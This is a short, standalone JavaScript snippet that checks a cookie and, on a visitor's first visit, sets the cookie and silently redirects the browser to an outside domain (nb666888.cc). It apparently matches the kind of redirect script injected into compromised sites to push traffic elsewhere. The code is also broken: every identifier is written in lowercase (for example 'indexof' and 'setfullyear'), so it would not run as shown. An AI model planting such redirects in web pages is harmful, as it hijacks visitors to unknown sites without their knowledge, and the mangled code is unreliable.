var c = document.cookie; if (c.indexof('isfirstvisited=false') != -1) { } else { var d = new date(); d.setfullyear(d.getfullyear() + 1); document.cookie = 'isfirstvisited=false;expires=' + d.togmtstring(); location = 'https://nb666888.cc' }